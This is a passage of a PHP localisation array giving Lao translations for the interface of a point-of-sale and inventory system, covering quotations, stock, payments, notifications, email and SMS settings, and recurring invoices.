ການປະເມີນຈະຖືກໃຊ້ໃນຂະນະທີ່ໃບສະເໜີລາຄາໃຫ້ກັບລູກຄ້າ.', 'quotation_added' => 'ເພີ່ມໃບສະເໜີລາຄາຮຽບຮ້ອຍແລ້ວ', 'quotation_updated' => 'ປັບປຸງໃບສະເໜີລາຄາຮຽບຮ້ອຍແລ້ວ', 'product_sold_details_register' => 'ລາຍລະອຽດຂອງສິນຄ້າທີ່ຂາຍ', 'grand_total' => 'ຍອດລວມທັງໝົດ', 'change_return' => 'ປ່ຽນກັບຄືນ', 'date_format' => 'ຮູບແບບວັນທີ', 'time_format' => 'ຮູບແບບເວລາ', '12_hour' => '12 ຊົ່ວໂມງ', '24_hour' => '24 ຊົ່ວໂມງ', 'list_quotations' => 'ລາຍການ ໃບສະເໜີລາຄາ', 'list_drafts' => 'ຮ່າງລາຍການ', 'you_cannot_delete_this_contact' => 'ບໍ່ສາມາດລຶບສັນຍານີ້ໄດ້ - ເນື່ອງຈາກມີການເຮັດທຸລະກຳສຳຫຼັບລາຍການນີ້ແລ້ວ..', 'enable_row' => 'ເປີດໃຊ້ແຖວ', 'enable_position' => 'ເປີດໃຊ້ ຕຳ ແໜ່ງ', 'rack' => 'ຊັ້ນວາງເຄື່ອງ', 'row' => 'ແຖວ', 'position' => 'ຕຳແໜ່ງ', 'weight' => 'ໜັກ', 'rack_help_text' => "ລາຍລະອຽດຂອງຊັ້ນວາງເຄື່ອງແຍກໂດຍ '|' ສຳລັບສະຖານທີ່ຕັ້ງທຸລະກິດທີ່ແຕກຕ່າງກັນຕາມລຳດັບ.<br/> (ເຊັ່ນ: R1|R5|R12) ", 'row_help_text' => "ລາຍລະອຽດແຖວແຍກໂດຍ '|' ສຳລັບສະຖານທີ່ຕັ້ງທຸລະກິດທີ່ແຕກຕ່າງກັນຕາມລຳດັບ.<br/> (ເຊັ່ນ: ROW1|ROW2|ROW3) ", 'position_help_text' => "ລາຍລະອຽດຂອງຕຳແໜ່ງແຍກໂດຍ '|' ສຳລັບສະຖານທີ່ຕັ້ງທຸລະກິດທີ່ແຕກຕ່າງກັນຕາມລຳດັບ.<br/> (ເຊັ່ນ: POS1|POS2|POS3) ", 'import_opening_stock' => 'ການນຳສະຕອັກເຂົ້າ', 'tooltip_import_opening_stock' => 'ຄຸນລັກສະນະນີ້ແມ່ນໃຊ້ເພື່ອເປີດນຳສະຕັອກເຂົ້າຂອງຜະລິດຕະພັນທີ່ເພີ່ມມາແລ້ວ . ຫາກບໍ່ໄດ້ພີ່ມຜະລິດຕະພັນລົງໃນລະບົບແນະນຳໃຫ້ໃຊ້ສິນຄ້ານຳເຂົ້າເພື່ອເພີ່ມລາຍລະອຽດສິນຄ້າດ້ວຍການເປັີດສະຕັອກ.', 'design' => 'ການອອກແບບ', 'express_checkout_cash' => 'ເງິນສົດ', 'express_checkout_card' => 'ບັດ', 'checkout_multi_pay' => 'ການຈ່າຍຫຼາຍຄັ້ງ', 'tooltip_checkout_multi_pay' => 'ຊໍາລະເງິນໂດຍໃຊ້ວິທີການຊຳລະເງິນຫຼາຍວິທີ ', 'tooltip_express_checkout_card' => ' ຊຳລະເງິນດ່ວນໂດຍໃຊ້ບັດ ', 'card_transaction_details' => 'ລາຍລະອຽດການເຮັດທຸລະກຳຜ່ານບັດ', 'client_tax_label' => 'ປ້າຍກຳກັບໝາຍເລກພາສີລູກຄ້າ', 'cat_code_label' => 'ໝວດໝູ່ ຫລື ລະຫັດປ້່ນກຳກັບ ', 'list_sell_return' => 'ລາຍການຂາຍສົ່ງຄືນ', 'sell_return' => 'ຂາຍຄືນ', 'layout_credit_note' => 'ບັນທຶກສິນເຊື່ອ / ລາຍລະອຽດການສົ່ງສິນຄ້າຄືນ', 'cn_heading' => 'ຫົວຂໍ້', 'cn_no_label' => 'ເລກອ້າງອີງ', 'cn_amount_label' => 'ຈຳນວນທັງໝົດ', 'custom_field' => 'ຟິວທີ່ກຳນົດເອງ :ເລກ', 'website' => 'ເວບໄຊທ໌', 'total_credit_amt' => 'ຈຳນວນເງິນສິນເຊື່ອທັງໝົດ', 'unit_sell_price' => 'ຫົວໜ່ວຍລາຄາຂາຍ', 'prefixes' => 'ຄຳນຳໜ້າ', 'purchase_order' => 'ໃບສັ່ງຊື້', 'stock_transfer' => 'ການໂອນສະຕັອກ', 'purchase_payment' => 'ຊຳລະເງິນຊື້', 'sell_payment' => 'ຊຳລະເງິນຂາຍ', 'location_id' => 'ລະຫັດສະຖານທີ່', 'add_edit_opening_stock' => 'ເພີມ ຫຼື ແກ້ໄຂການເປີດສະຕັອກ', 'expiry_date_will_be_changed_in_pl' => 'ວັນໝົດອາຍຸຂອງເສັ້ນການຊື້ຈະປ່ຽນໄປ', 'remove_from_stock' => 'ຍ້າຍອອກຈາກສະຕັອກ', 'stock_removed_successfully' => 'ສະຕັອກຖືກຍ້າຍອອກຮຽບຮ້ອຍ', 'product_image' => 'ຮູບພາບຜະລິດຕະພັນ', 'aspect_ratio_should_be_1_1' => 'ອັດຕາສ່ວນຮູບຄວນຈະເປັນ 1:1', 'previous_image_will_be_replaced' => 'ຮູບທີ່ອັບໂຫລດຜ່ານມາຈະຖືກແທນທີ່', 'all_category' => 'ໝວດໝູ່ທັງໝົດ', 'all_brands' => 'ຍີ່ຫໍ່ທັງໝົດ', 'backup' => 'ຈັດການການສຳຮອງຂໍໍ້ມູນ', 'download_complete_backup' => 'ດາວໂຫຼດການສຳຮອງຂໍ້ມູນຮຽບຮ້ອຍ', 'backup_doesnt_exist' => 'ບໍ່ມີການສຳຮອງ', 'lot_report' => 'ລາຍງານລັອດ', 'purchase_payment_report' => 'ລາຍງານການຊຳລະເງິນຊື້', 'paid_on' => 'ຈ່າຍເມື່ອ', 'purchase' => 'ການຊື້', 'cheque_no' => 'ແຊັກ ເລກທີ.', 'card_transaction_no' => 'ເລກການໂອນເງິນ.', 'bank_account_no' => 'ເລກບັນຊີທະນາຄານ.', 'sell_payment_report' => 'ລາຍງານການຊຳລະເງິນຂອງການຂາຍ', 'restaurant' => 'ຮ້ານອາຫານ', 'user_type' => 'ປະເພດຜູ້ໃຊ້', 'business_inactive' => 'ຂໍໂທດ, ທຸລະກິດຂອງທ່ານບໍ່ເຮັດວຽກ !!', 'product_custom_field1' => 'ຟິວທີ່ກຳນົດເອງ 1', 'product_custom_field2' => 'ຟິວທີ່ກຳນົດເອງ 2', 'product_custom_field3' => 'ຟິວທີ່ກຳນົດເອງ 3', 'product_custom_field4' => 'ຟິວທີ່ກຳນົດເອງ 4', 'image' => 'ຮູບພາບ', 'image_help_text' => 'ຊື່ຮູບພາບພ້ອມກັຍນາມສະກຸນ.<br/> (ຕ້ອງອັບໂຫຼດຊື່ຮູບພາບໄປເຊີບເວີ :ເສັ້ນທາງ )', 'tooltip_kitchen' => 'ນີ້ແມ່ນໜ້າຈໍຄົວ. ລາຍຍລະອຽດການສັ່ງຊື້ສາມາດເບິ່ງໄດ້ບ່ອນນີ້ ແລະການສັ່ງຊື້້ສາມາດເຮັດເຄື່ອງໝາຍວ່າປຸງແລ້ວ.', 'tooltip_serviceorder' => 'ນີ້ແມ່ນໜ້າຈໍການບໍລິການຂອງພະນັກງານ ພະນັກງານບໍລິການສາມາດໃຊ້ເບິ່ງການສັງຊື້ທັງໝົດ ສຳລັບພວກເຂົາແລະ ເຮັດເຄື່ອງໝາຍຄຳສັ່ງຕາມທີ່ໃຫ້ບໍລິການ.', 'sales_person_label' => 'ປ້າຍຜູ້ຂາຍ', 'show_sales_person' => 'ສະແດງບຸກຄົນຂາຍ', 'decimal_value_not_allowed' => 'ບໍ່ອະນຸຍາດໃຫ້ໃຊ້ຄ່າທົດສະນິຍົມ', 'theme_color' => 'ຮູບແບບຂອງສີ', 'quantity_error_msg_in_lot' => 'ມີພຽງແຕ່ :ຈຳນວນ :ຫົວໜ່ວຍ ທີ່ມີຢູ່ໃນລັອດທີ່ເລືອກ', 'show_product_expiry' => 'ສະແດງສິນຄ້າໝົດອາຍຸ', 'show_lot_number' => 'ສະແດງຈຳນວນລັອດ', 'expiry' => 'ໝົດອາຍຸ', 'lot' => 'ລັອດ', 'lot_n_expiry' => 'ລັອດ & ໝົດອາຍຸ', 'pos_edit_product_price_help' => 'ແກ້ໄຂລາຄາຫົວຕໍ່ໜ່ວຍ ແລະ ອາກອນສິນຄ້າ', 'name' => 'ຊື່', 'payment_type' => 'ປະເພດການຊໍາລະເງິນ', 'manage_payment_account' => 'ຈັດການບັນຊີການຊຳລະເງິນ', 'all_payments' => 'ການຊຳລະເງິນທັງໝົດ', 'payment_note' => 'ໃບເສັດການຊຳລະເງິນ', 'payment_account_deleted_success' => ' ລຶບບັນຊີການຊຳລະເງິນຮຽບຮ້ອຍແລ້ວ', 'payment_account_updated_success' => 'ປັບປຸງບັນຊີການຊຳລະເງິນຮຽບຮ້ອຍແລ້ວ', 'payment_gateway' => 'ຊ່ອງທາງການຊໍາລະເງິນອອນໄລ', 'payment_account_success' => 'ເພີ່ມບັນຊີການຊຳລະເງິນຮຽບຮ້ອຍແລ້ວ', 'payment_account' => 'ບັນຊີຊຳລະເງິນ', 'tooltip_sell_product_column' => 'ກົດ <i>ຊື່ສິນຄ້າ</i>ເພື່ອແກ້ໄຂລາຄາ, ສ່ວຫຼຸດ & ອາກອນ. <br/>ກົດ <i>ກົດປຸ່ມ</i> ເພື່ອໃສ່ເລກ ໝາຍ serial / IMEI ຫຼື ໂນດເພີ່ມເຕີມ.<br/><br/>ກົດປຸ່ມ <i>ແກ້ໄຂ </i>(ຖ້າວ່າມີການໃຊ້ງານ ) ເພື່ອແກ້ໄຂ', 'credit_limit' => 'ຈຳກັດການປ່ອຍສິນເຊື່ອ', 'credit_limit_help' => 'ເວັ້ນວ່າງໄວ້ບໍ່ຈຳກັດ', 'cutomer_credit_limit_exeeded' => 'ວົງເງິນສິນເຊື່ອຂອງລູກຄ້າເກີນຂີດຈຳກັດ <br>:credit_limit', 'custom_payment_1' => 'ການຊຳລະເງິນທີ່ກຳນົດເອງ 1', 'custom_payment_2' => 'ການຊຳລະເງິນທີ່ກຳນົດເອງ 2', 'custom_payment_3' => 'ການຊຳລະເງິນທີ່ກຳນົດເອງ 3', 'transaction_no' => 'ເລກການເຮັດທຸລະກຳ.', 'file' => 'ໄຟລ໌', 'size' => 'ຂະໜາດ', 'date' => 'ວັນທີ', 'age' => 'ອາຍຸ', 'create_new_backup' => 'ສ້າງການສຳຮອງໃໝ່', 'all_sales' => 'ຍອດຂາຍທັງໝົດ', 'opening_balance' => 'ຍອດເປີດ', 'opening_balance_due' => 'ຄົບກຳນົດຍອດເປີດ', 'import_contacts' => 'ນຳສັນຍາເຂົ້າ', 'contact_type_ins' => '<strong>ຕົວເລືອກທີ່ມີ: ລູກຄ້າ, ຜູ້ສະໜອງ & ທັງສອງ</strong>', 'contact_id_ins' => 'ເວັ້ນຫວ່າງໄວ້ເພື່ອສ້າງລະຫັດຜູ້ຕິດຕໍ່ໂດຍອັດຕະໂນມັດ', 'required_if_supplier' => 'ຈຳເປັນຕ້ອງໃສ່ຖ້າວ່າປະເພດສັນຍາເປັນ ຜູ້ສະນອງ ຫຼື ທັງສອງ ', 'pay_term_period_ins' => 'ຕົວເລືອກທີ່ມີ: ວັນ ແລະ ປີ', 'your_username_will_be' => 'ຊື່ຜູ້ໃຊ້ຂອງເຈົ້າຈະເປັນ', 'currency_exchange_rate' => 'ອັດຕາແລກປ່ຽນເງິນຕາ', 'select_all' => 'ເລືອກທັງໝົດ', 'deselect_all' => 'ບໍ່ເລືອກທັງໝົດ', 'duplicate_product' => 'ສິນຄ້າຊໍ້າ', 'delete_selected' => 'ລົບທີ່ເລືອກ', 'no_row_selected' => 'ບໍ່ມິແຖວທີ່ຖືກເລືອກ', 'duplicate_sell' => 'ຂາຍຊໍ້າ', 'duplicate_sell_created_successfully' => 'ສ້າງການຂາຍຊໍ້າຮຽບຮ້ອຍແລ້ວ', 'modules' => 'ໂມດູນ', 'theme' => 'ລັກສະນະ', 'account' => 'ບັນຊີ', 'expense_payment' => 'ຊຳລະຄ່າໃຊ້ຈ່າຍ', 'expense' => 'ຄ່າໃຊ້ຈ່າຍ', 'disabled_in_demo' => 'ຄຸນລັກສະນະຖືກປິດການໃຊ້ງານໃນການສາທິດ!!', 'selling_price_group' => 'ກຸ່ມລາຄາຂາຍ', 'all_selling_price_group' => 'ກຸ່ມລາຄາຂາຍທັງໝົດ', 'add_selling_price_group' => 'ເພີ່ມກຸ່ມລາຄາຂາຍ', 'edit_selling_price_group' => 'ແກ້ໄຂກຸ່ມລາຄາຂາຍ', 'access_selling_price_groups' => 'ເຂົ້າເຖິງກຸ່ມລາຄາຂາຍ', 'save_n_add_selling_price_group_prices' => 'ບັນທຶກ & ເພີ່ມລາຄາຂອງກຸ່ມລາຄາຂາຍ', 'add_selling_price_group_prices' => 'ເພີ່ມ ຫຼື ແກ້ໄຂ ກຸ່ມລາຄາ', 'default_selling_price_inc_tax' => 'ລາຄາຂາຍເລີ່ມຕົ້ນ (ລວມ. ພາສີ)', 'variation' => 'ຄ່າຜັນແປ', 'price_group' => 'ກຸ່ມລາຄາ', 'group_price' => 'ກຸ່ມລາຄາ', 'default_selling_price' => 'ລາຄາເລີ່ມຕົ້ນ', 'price_group_help_text' => 'ກຸ່ມລາຄາຂາຍທີ່ເຈົ້າຕ້ອງການຂາຍ', 'group_prices' => 'ກຸ່ມລາຄາ', 'view_group_prices' => 'ເບິ່ງກຸ່ມລາຄາ', 'save_n_add_another' => 'ບັນທຶກ ແລະ ເພີ່ມອື່ນໆ', 'update_n_add_another' => 'ປັບປຸງ ແລະ ເພີ່ມອື່ນໆ', 'subtotal_editable' => 'ຜົນລວມທີ່ແກ້ໄຂໄດ້', 'subtotal_editable_help_text' => 'ເລືອກຕົັວເລືອກນີ້ເພື່ອໃຫ້ຟິວຜົນລວມແກ້ໄຂໄດ້ສຳຫູັບແຕ່ລະສິນຄ້າໃນໜ້າຈໍ POS', 'notification_templates' => 'ຮູບແບບການແຈ້ງເຕືອນ', 'new_sale' => 'ຂາຍໃໝ່', 'payment_reminder' => 'ແຈ້ງເຕື່ອນການຊໍາລະເງິນ', 'payment_received' => 'ການຊໍາລະເງິນທີ່ໄດ້ຮັບ', 'new_booking' => 'ເປີດການຈອງ', 'new_order' => 'ສັ່ງຊື້ໃໝ່', 'payment_paid' => 'ຊໍາລະເງິນແລ້ວ', 'items_received' => 'ລາຍການທີ່ໄດ້ຮັບ', 'items_pending' => 'ລາຍການທີ່ລໍຖ້າ', 'customer_notifications' => 'ການແຈ້ງເຕືຶອນລູກຄ້າ', 'supplier_notifications' => 'ການແຈ້ງເຕືອນຫູ້ສະໜອງ', 'email_subject' => 'ຫົວເລື່ອງຂອງອີເມວ', 'email_body' => 'ເນື້ອໃນຂອງອີເມວ', 'sms_body' => 'ເນື້ອໃນ SMS', 'available_tags' => ' Tags ທີ່ມີຢູ່', 'send_notification' => 'ສົ່ງການແຈ້ງເຕືອນ', 'new_sale_notification' => 'ແຈ້ງເຕືອນການຂາຍໃໝ່', 'send_email_only' => 'ສົ່ງເມວຢ່າງດຽວ', 'send_sms_only' => 'ສົ່ງ SMS ຢ່າງດຽວ', 'send_both_email_n_sms' => 'ສົ່ງທັງ ອີເມວ & SMS', 'to' => 'ເຖິງ', 'mobile_number' => 'ເລກໂທລະສັບ', 'send' => 'ສົ່ງ', 'notification_sent_successfully' => 'ແຈ້ງເດຕືອນການສົ່ງສຳເລັດແລ້ວ', 'payment_received_notification' => 'ແຈ້ງເຕືອນການຊໍາລະເງິນທີ່ໄດ້ຮັບ', 'send_payment_reminder' => 'ສົ່ງການແຈ້ງເຕືອນການຊໍາລະເງິນ', 'new_order_notification' => 'ແຈ້ງເຕືອນການສັ່ງໃໝ່', 'item_received_notification' => 'ແຈ້ງເຕືອນລາຍການທີ່ໄດ້ຮັບ', 'item_pending_notification' => 'ແຈ້ງເຕືອນລາຍການທີ່ລໍຖ້າ', 'payment_paid_notification' => 'ແຈ້ງການຊໍາລະເງິນ', 'mail_host' => 'Host', 'mail_port' => 'ພອດ', 'mail_username' => 'ຊື່ຜູ້ໃຊ້', 'mail_password' => 'ລະຫັດຜ່ານ', 'mail_encryption' => 'ລະຫັດລັບ', 'mail_from_address' => 'ຈາກທີ່ຢູ່', 'mail_from_name' => 'ຈາກຊທ່', 'mail_encryption_place' => 'tls / ssl', 'email_settings' => 'ຕັ້ງຄ່າອີເມວ', 'sms_settings' => 'ຕັ້ງຄ່າ SMS', 'send_to_param_name' => 'ສົ່ງໄປທີ່ຊື່ພາລາມິເຕີ', 'msg_param_name' => 'ຊື່ຂໍ້ຄວາມພາລາມິເຕີ', 'sms_settings_param_key' => 'ພາລາມິເຕີ :number key', 'sms_settings_param_val' => 'ພາລາມິເຕີ :number value', 'sending' => 'ກໍາລັງສົ່ງ', 'request_method' => 'ວິທີການຮ້ອງຂໍ', 'purchase_return' => 'ສົ່ງຄືນການຊື້', 'return_quantity' => 'ຈຳນວນທີ່ສົ່ວຄືນ', 'return_subtotal' => 'ຜົນລວມການສົ່ງຄືນ', 'quantity_left' => 'ຈຳນວນທີ່ຍັງເຫຼືອ', 'return_total' => 'ຈຳນວນທີ່ສັ່ງຄືນ', 'total_return_tax' => 'ລວມພາສີທີ່ສົ່ງຄືນ', 'purchase_return_added_success' => 'ເພີ່ມການສົ່ງຄືນການຊື້ສຳເລັດ', 'list_purchase_return' => 'ລາຍການສົ່ງຄືນການຊື້', 'all_purchase_returns' => 'ສົ່ງຄືນການຊື້ທັງໝົດ', 'parent_purchase' => 'Parent Purchase', 'purchase_return_details' => 'ລາຍລະອຽດການຊື້ຄືນ', 'return_date' => 'ວັນທີສົງຄືນ', 'parent_sale' => 'Parent Sale', 'sell_quantity' => 'ຈຳນວນການຂາຍ', 'total_return_discount' => 'ຍອດສ່ວນຫຼຸດຂອງການຂາຍຄືນ ', 'sell_return_details' => 'ລາຍລະອຽດການຂາຍຄືນ', 'sell_details' => 'ລາຍລະອນດການຂາຍ', 'return_discount' => 'ສ່ວນຫຼຸດທີ່ສົ່ງຄືນ', 'total_unit_transfered' => 'ໜ່ວຍທີ່ໂອນທັງໝົດ', 'total_unit_adjusted' => 'ປັບໜ່ວຍທັງໝົດ', 'return_exist' => 'ການສົ່ງຄືນສຳຫຼັບທຸລະກຳນີ້ມີແລ້ວ,ແກ້ໄຂການສົ່ງຄືນແທນ.', 'synced_from_woocommerce' => 'Synced from Woocommerce', 'available_stock_expired' => ' ຫຼືສະຕັອກທີມີຢູ່ໝົດອາຍຸແລ້ວ.', 'sell_payments' => 'ອະນຸຍາດ ເພີ່ມ/ແກ້ໄຂ/ລຶບ ການຊຳລະເງິນໃນລາຍການຂາຍ / ລາຍການໃນໜ້າຈໍ POS .', 'purchase_payments' => 'ອະນຸຍາດ ເພີ່ມ/ແກ້ໄຂ/ລຶບ ການຊຳລະເງິນໃນລາຍການຊື້.', 'sell.payments' => 'ເພີມ/ແກ້ໄຂ/ລຶບ ການຊໍາລະເງິນ', 'purchase.payments' => 'ເພີ່ມ/ແກ້ໄຊ/ລຶບ ການຊໍາລະເງິນ', 'view_payment' => 'ເບິ່ງການຊໍາລະ', 'card_number' => 'ບັດເລກທີ.', 'transaction_number' => 'ເລກທຸລະກໍາ', 'card_holder_name' => 'ຊື່ຜູ້ຖືບັດ', 'card_number' => 'ເລຫບັດ', 'card_transaction_number' => 'ທຸລະກຳບັດເລກທີ', 'cheque_number' => 'ເລກແຊັກ', 'commsn_percent_help' => "ໃຊ້ສະເພາະໃນກໍລະນີທີ່ຕັ້ງຄ່າປະເພດຕົວແທນຂອງຄະນະກຳມະການຂາຍ: 'ເຂົ້າສູ່ລະບົບຜູ້ໃຊ້' ຫຼື 'ເລືອກຈາກບັນຊີຜູ້ໃຊ້'", 'max_amount_to_be_paid_is' => 'ຈຳນວນເງິນສູງສຸດແມ່ນ :amount', 'adjusted_for' => 'ດັດປັບເພື່ອ', 'some_qty_returned' => 'ບາງຈຳນວນຈະຖືກສົ່ງຄືນຈາກການຊື້ນີ້', 'total_purchase_return' => 'ຍອດຊື້ຄືນ', 'total_purchase_return_paid' => 'ຍອດຈ່າຍຂອງການຊື້ຄືນ', 'total_purchase_return_inc_tax' => 'ຍອດຊື້ຄືນລວມທັງພາສີ', 'purchase_sell_report_formula' => 'ສັງລວມ (ການຂາຍ - ສົ່ງຄືນການຂາຍ - ການຊື້ - ສົ່ງຄືນການຊື້)', 'purchase_return_due' => 'ຄົບກຳນົດຍອດຊື້ຄືນ', 'total_purchase_return_due' => 'ຍອດຊື້ຄືນລວມ', 'receive_purchase_return_due' => 'ຄົບກຳນົດ ການຮັບຊື້ຄືນ', 'some_qty_returned_from_sell' => 'ບາງຈຳນວນຈະຖືກສົ່ງຄືນຈາກການຂາຍນີ້', 'sell_due' => 'ຄົບກຳນົດການຂາຍ', 'sell_return_due' => 'ຄົບກຳນົດຍອດຂາຍຄືນ', 'total_sell_return_due' => 'ຄົບກຳນົດຍອດຂາຍຄືນທັງໝົດ', 'pay_sell_return_due' => 'ຄົບກຳນົດການຈ່າຍຍອດຂາຍຄືນ', 'total_sell_return' => 'ຍອດຂາຍຄືນ', 'total_sell_return_paid' => 'ຍອດການຈ່າຍຂອງຍອດຂາຍຄືນ', 'total_sell_return_inc_tax' => 'ຍອດການຂາຍຄືນລວມທັງພາສີ', 'tooltip_columnize_taxes_heading' => 'ປ້ອນຊື່ພາສິສ່ວນຫົວ, ຫົວຂໍ້ຄວນມີຢູ່ຊື່ໃນພາສີ. ຕົວຢ່າງຫົວຂໍ້ສາມາດເປັນ: CGST, SGST, IGST & CESS. ສຳຫຼັບຊື່ພາສີ CGST@8% ຫຼື CGST@10%; SGST@10% ຫຼື SGST@8% ອື່ນໆ', 'sales_payment_dues' => 'ຄົບກຳນົດການຊຳລະການຂາຍ', 'purchase_payment_dues' => 'ຄົບກຳນົດການຊຳລະການຊື້', 'tooltip_sales_payment_dues' => "ການຊຳລະເງິນທີ່ຍັງຄ້າງສຳລັບການຂາຍ. <br/><small class='text-muted'>ຕາມເງື່ອນໄຂການຊໍາລະເງິນຕາມໃບແຈ້ງໜີ້. <br/> ສະແດງການຊໍາລະເງິນທີ່ໄດ້ຮັບພາຍໃນ 7 ມື້ ຫຼື ໜ້ອຍກວ່າ.</small>", 'edit_product_price_from_sale_screen' => 'ແກ້ໄຂລາຄາສິນຄ້າຈາກໜ້າຈໍການຂາຍ', 'edit_product_discount_from_sale_screen' => 'ແກ້ໄຂການຫຼຸດລາຄາສິນຄ້າຈາກໜ້າຈໍການຂາຍ ', 'autosend_email' => 'ສົ່ງ Email ອັດຕະໂນມັດ ', 'autosend_sms' => 'ສົ່ງ SMS ອັດຕະໂນມັດ', 'enable_selected_contacts' => 'ຈຳກັດຜູ້ຕິດຕໍ່ທີ່ເລືອກ', 'tooltip_enable_selected_contacts' => 'ຈຳກັດການເຂົ້າເຖິງຜູ້ຕິດຕໍ່ທີ່ເລືອກໃນໍ່ອງຄົ້ນຫາ ໃນການຂາຍ/ລູກຄ້າທີ່ຊື້/ຜູ້ສະໜອງ', 'selected_contacts' => 'ເລືອກຜູ້ຕິດຕໍ່', 'view_role' => 'ເບິ່ງບົດບາດ', 'delete_role' => 'ລຶບບົດບາດ', 'mail_driver' => 'Mail Driver', 'disable_suspend_sale' => 'ປິດການໃຊ້ງານໂຈະການຂາຍ', 'suspend' => 'ໂຈະ', 'suspend_note' => 'ໝາຍເຫດການໂຈະ', 'suspend_sale' => 'ໂຈະການຂາຍ', 'view_suspended_sales' => 'ເບິ່ງການຂາຍທີ່ຖືກໂຈະ', 'suspended_sales' => 'ການຂາຍທີ່ຖືກໂຈະ', 'tooltip_suspend' => 'ໂຈະການຂາຍ (ຢຸດຊົ່ວຄາວ)', 'business_telephone' => 'ເບີຕິດຕໍ່ທຸລະກິດ', 'accept_terms_and_conditions' => 'ຍອມຮັບຂໍ້ກຳນົດ & ເງື່ອນໄຂ', 'terms_conditions' => 'ຂໍ້ກຳນົດ & ເງື່ອນໄຂ', 'select_base_unit' => 'ເລືອກໜ່ວຍພື້ນຖານ', 'times_base_unit' => 'ເວລາຫົວໜ່ວຍພື້ຮຖານ', 'multi_unit_help' => 'ກຳນົດຫົວໜ່ວຍນີ້ເປັນຫົວໜ່ວຍອື່ນໆ <br><strong>ຕົວຢ່າງ: 1 dozen = 12 pieces</strong>', 'add_as_multiple_of_base_unit' => 'ເພີ່ມເປັນຫຼາຍຫົວໜ່ວຍອື່ນ', 'product_description' => 'ລາຍລະອຽດຂອງສິນຄ້າ', 'click_here' => 'ກົດບ່ອນນີ້', 'for_more_info' => 'ສຳຫຼັບຂໍ້ມູນເພີ່ມເຕີມ', 'username_help' => 'ເວັ້ນຫວ່າງໄວ້ເພື່ອສ້າງບັນຊີຜູ້ໃຊ້ໂດຍອັດຕະໂນມັດ', 'status_for_user' => 'ຍັງໃຊ້ງານຢູ່ບໍ່ ?', 'tooltip_enable_user_active' => ' ເລືອກ/ບໍ່ເລືອກ ເພື່ອໃຫ້ຜູ້ໃຊ້ ເປັີດໃຊ້ງານ/ປິດການໃຊ້ງານ.', 'user_inactive' => 'ຂໍອະໄພ, ບັນຊີບໍ່ມີການເຄື່ອນໄຫວ', 'calculator' => 'ເຄື່ອງຄິດໄລ່', 'fields_for_customer_details' => 'ຟິວສຳຫຼັບລາຍລະອຽດຂອງລູກຄ້າ', 'show_previous_bal_due' => 'ສະແດງຍອດເງິນທີ່ຕ້ອງຊໍາລະທັງໝົດ (ຍອດຂາຍທັງໝົດ)', 'previous_bal_due_help' => 'ກວດສອບຟິວນີ້ເພື່ອສະແດງຍອດເງິນລວມທີ່ຄົງເຫຼືອສຳຫຼັບຍອດຂາຍທັງໝົດຂອງລູກຄ້າມີ່ມີຢູ່', 'all_sales' => 'ການຂາຍທັງໝົດ', 'current_sale' => 'ຂາຍໃນປັດຈຸບັນ', 'view_invoice_url' => 'URL ໃບແຈ້ງໜີ້', 'copy' => 'ສຳເນົາ', 'extra_tags' => 'ປ້້າຍພິເສດ', 'date_time_format' => 'ຮູບແບບເວລາວັນທີ', 'date_time_format_help' => "ປ້ອນຮູບແບບເວລາວັນທີໃນ <a target='_blank' href='http://php.net/manual/en/function.date.php'>PHP datetime format</a>. ຖ້າວ່າຮູບແແບເວລາວັນທີ່ຫວ່າງເປົ່າເວລາວັນທີຂອງທຸລະກິດຈະຖືກນຳໄປໃຊ້", 'all' => 'ທັງໝົດ', 'detailed' => 'ລາຍລະອຽດ', 'grouped' => 'ກຸ່ມ (ຕຳແໜ່ງດັນ)', 'disable_recurring_invoice' => 'ປິດການໃຊ້ງານໃບແຈ້ງໜີ້ທີ່ເກີດຊໍ້າ', 'is_recurring' => 'ເກີດຂຶ້ນອີກ', 'recurring_invoice_help' => 'ຖ້າສະໝັກສະມາຊິກໃບແຈ້ງໜີ້ນີ້ຈະຖືກສ້າງຂຶ້ນໂດຍອັດຕະໂນມັດໃນຊ່ວງເວລາປົກກະຕິ.<br>ເຈົ້າສາມາດປິດໃຊ້ງານຄຸນສົມບັດນີ້ໄດ້ <code>ຕັ້ງຄ່າ > ຕັ້ງຄ່າທຸລະກິດ > ໂມດູນ</code>', 'recurring_invoice' => 'ໃບແຈ້ງໜີ້ທີ່ເກີດຂຶ້ນ', 'years' => 'ປີ', 'no_of_repetitions' => 'ຈຳນວນການເຮັດຊໍ້າ', 'recur_repetition_help' => 'ຖ້າໃບແຈ້ງໜີ້ຫວ່າງເປົ່າຈະຖືກສ້າງຈະຖືກສ້າງຂື້ນເປັນເວລາບໍ່ມີຂອບເຂດ', 'recurring_invoice_message' => 'ສ້າງໃບແຈ້ງໜີ້ໃໝ່ສຳຫຼັບການສະໝັກສະມາຊິກເລກທີ.:<i>:subscription_no</i>, ໃບແຈ້ງໜີ້ເລກທີ.: <i>:invoice_no</i>', 'notifcation_count_msg' => 'ເຈົ້າມີ :count ການນແຈ້ງເຕືອນ', 'no_notifications_found' => 'ບໍ່ພົບການແຈ້ງເຕືອນ', 'edit_multi_unit_help_text' => 'ການແກ້ໄຂຄ່ານີ້ຈະປ່ຽນສະຕັອກທີ່ຊື້ແລະຂາຍຕາມລຳດັບ', 'sale_price_is_minimum_sale_price' => 'ລາຄາຂາຍເປັນລາຄາຂັ້ນຕໍ່າ', 'minimum_sale_price_help' => 'ຖ້າວ່າເປີດໃຊ້ງານ, ໃນ POS ຫຼື ໜ້າຈໍການຂາຍລາຄາເລີ່ມຕົ້ນຈະເປັນລາຄາຂາຍຕໍ່າສຸດ ສຳລັບສິນຄ້າ.ເຈົ້າບໍ່ສາມາດ ກຳນົດລາຄາທີ່ຕໍ່າກວ່າລາຄາຂາຍໃນຕອນຕົ້ນ.', 'minimum_selling_price_error_msg' => 'ລາຄາຂາຍຕ່ຳສຸດແມ່ນ :price', 'lot_numbers_are_used_in_sale' => 'ບໍ່ສາມາດລົບໄດ້ບາງລັອດເນື່ອງຈາກການຊື້ນີ້ຖືກຂາຍແລ້ວ', 'created_at' => 'ສ້າງເມື່ອ', 'years' => 'ປີ', 'download' => 'ດາວໂຫຼດ', 'previous_file_will_be_replaced' => 'ໄຟລທີ່ອັບໂຫຼດກ່ອຍໜ່ານີ້ຈະຖືກແທນທີ່', 'access_accounts' => 'ເຂົ້າເຖິງບັນຊີ', 'payment_accounts' => 'ບັນຊີການຊຳລະເງິນ', 'total_shipping_charges' => 'ລວມຄ່າຈັດສົ່ງ', 'recurring_invoice_error_message' => 'ບໍ່ສາມາກສ້າງໃບແຈ້ງໜີ້ສຳຫຼັບການສະໝັກສະມາຊິກ ເລກທີ.: <i>:subscription_no</i>. 